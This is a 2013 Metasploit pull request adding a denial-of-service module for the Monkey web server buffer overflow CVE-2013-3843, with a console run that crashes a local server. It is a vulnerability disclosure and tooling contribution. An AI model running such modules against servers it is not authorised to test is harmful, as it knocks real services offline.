rapid7/metasploit-framework — pull request #1950 by dougsko (2013-06-13 15:39:06+00:00)
Title: Add module for CVE 2013-3843

This module exploits a buffer overflow in the Monkey web server, versions <= 1.2.0. While I haven't been able to achieve arbitrary command execution, the flow of execution can be controlled, so further exploitation may be possible. This module simply crashes the server, however.

```
msf > use auxiliary/dos/http/monkey_headers
msf auxiliary(monkey_headers) > show options

Module options (auxiliary/dos/http/monkey_headers):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 2001 yes The target port

msf auxiliary(monkey_headers) > set rhost localhost
rhost => localhost
msf auxiliary(monkey_headers) > run

[*] Sending DoS packet to localhost:2001
[+] Connection Refused: Success!
[*] Auxiliary module execution completed
msf auxiliary(monkey_headers) >
```

Monkey's reaction:
```
$ ./bin/monkey
Monkey HTTP Daemon 1.2.0
Built : May 29 2013 23:36:10 (gcc 4.7.3)
Home : http://monkey-project.com
[2013/06/13 11:23:36] [ Info] Linux TCP_FASTOPEN
* Process ID is 8726
* Server socket listening on Port 2001
* 4 threads, 126 client connections per thread, total 504
* Transport layer by liana in http mode
[2013/06/13 11:23:36] [ Info] HTTP Server started
zsh: segmentation fault (core dumped) ./bin/monkey
```